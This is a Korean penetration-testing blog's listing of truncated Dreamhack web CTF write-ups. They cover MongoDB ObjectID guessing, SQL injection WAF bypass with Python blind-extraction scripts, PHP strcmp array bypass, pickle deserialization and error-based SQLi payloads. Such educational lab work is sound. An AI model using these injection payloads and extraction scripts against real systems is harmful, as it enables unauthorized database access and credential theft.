본문 바로가기

모의해킹

(163)
mongoboard [WEB LEVEL1] 문제를 풀려면 mongodb의 ObjectID 특성을 알아야한다. *ObjectID 특성(12바이트로 구성) 1. Object 생성을 나타내는 앞에 4바이트는 타임스탬프 이다. 2. 프로세스당 한 번 생성되는 5바이트 임의 값이다. 3. 임의의 값으로 초기화되는 3바이트 증분 카운터이다. 참고 : https://www.mongodb.com/docs/manual/reference/method/ObjectId/ ObjectId() — MongoDB Manual Docs Home → MongoDB Manual ObjectId( )Returns a new ObjectId. The 12-byte ObjectId consists of:A 4-byte timestamp, representing the ObjectId..
tmitter [WEB LEVEL1] admin으로 로그인을 해야 하는 문제이다. 개발자 모드에 적혀있는 힌트를 보면 admin이라는 계정으로 ID를 만들어야 한다.(이미 만들어있음,,,,) ID를 만들때 자료형을 char로 설정이 되어있으면 정해진 길이만큼만 받고 그 뒤로는 데이터가 잘라서 데이터베이스에 들어가는 취약점이 있다. maxlength="32"를 "33"으로 수정을 한 뒤, "admin 1" 이렇게 가운데를 다 공백으로 만든 다음 뒤 문장에 아무 문자를 입력해 아이디를 만들어서 로그인을 해주면 admin으로 로그인이 된다.
sql injection bypass WAF Advanced [WEB LEVEL1] 저번에 풀었던 SQL injection bypass WAF 문제랑 동일하다. 다른 점은 더 많은 문자열이 필터링되어 있다. import requests from string import ascii_letters, digits a = ascii_letters + digits url = "http://host3.dreamhack.games:13684/" num = 0 ch ='' while True: num += 1 for i in a: param = {"uid":"'||substr(upw,"+str(num)+",1)like('"+str(i)+"');%00"} req = requests.get(url,params=param) if "admin" in req.text: ch += i print(ch) brea..
strcmp [WEB LEVEL1] strcmp 함수는 두 개의 string을 비교하는 함수이다. 페이지에 있는 소스를 보면 입력한 password 하고 저장된 password 하고 strcmp 함수로 사용해 비교해서 0이 나오면(=둘이 같다) flag을 출력하라는 소스 코드이다. strcmp 사용할 값을 배열화 하게 되면 배열과 문자 값을 비교하였을시 0 값을 반환하기 때문에 아무 문자를 입력하였을때, 배열로 넘어가면서 값을 비교하여 0 값을 반환한다. **비교할시 "==" 가 아닌 "==="로 수정해야한다.
sql injectuon bypass WAF [WEB LEVEL1] guest을 입력했을 때, guest가 출력이 된다. admin을 입력했을 때는 WAF에 때문에 막혀있다. 소스 코드를 보니 keywords에 적혀있는 문자는 WAF에 걸리는 거 같다. admin에 대한 upw의 패스워드의 길이를 구하기 위해 '||length(upw) like(44);%00 구문을 사용했다. import requests url = '해당 URL' num = 0 while True: num += 1 param = {"uid":"'||length(upw)like("+str(num)+");%00"} req = requests.get(url,params=param) if "admin" in req.text: print(num) break import requests from string imp..
file-csp-1 [WEB LEVEL1] 콘텐츠 보안 정책(CSP) : XSS와 같은 공격으로부터 보호하는데 도움이 되는 내장 브라우저 기술, 응답 헤더 또는 HTML 페이지의 메타 요소를 통해 구현됨 ex) - 응답 헤더를 통한 구현 -> Content-Security-policy : default-src 'self'; img-src 'self'.... - 메타 태그를 통한 구현 ->
web-deserialize-python [WEB LEVEL1] Serialization : Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것 Deserialize : 직렬화된 데이터를 원래의 Object 또는 Data의 상태 또는 타입으로 되돌리는 것 **직렬화 하는 이유 : 데이터를 파일에 저장하거나 네트워크를 통해 바이트 형태로 변환한 후 전송을 하기 위해서 로컬에서 pickle 모듈을 사용해 세션을 만든다. 세션을 체크하면 만든 세션의 정보를 확인할 수 있다. 즉, 그러면 .flag.txt 파일을 읽는 세션을 만들면 문제을 풀 수 있을 거이다. import pickle, base64 info={'name':'test', 'userid':'test', 'password':'test'} data = base64.b64e..
error based sql injection [WEB LEVEL1] 에러 베이스 문제에서 사용할 수 있는 함수 1. Updatexml 함수 => updatexml(target, expr, new_xml) - 지정된 target에서 expr의 xpath 표현식과 일치하는 부분이 존재하면 target을 new_xml로 변경하는 함수 - updatexml(null, concat(0x3a, 실행할 쿼리문 ), null) 2. extractxml 함수 => extractxml(target, expr) - target에서 expr과 xpath가 일치하는 xml 노드를 반환하는 함수 - extractxml(0x3a, concat(0x3a, 실행할 쿼리문) ) uid 입력 구문에 admin 으로 입력을 하여도 아무 반응이 일어나지 않는다. 즉, 에러를 일으켜서 문제의 답을 찾아야 한다..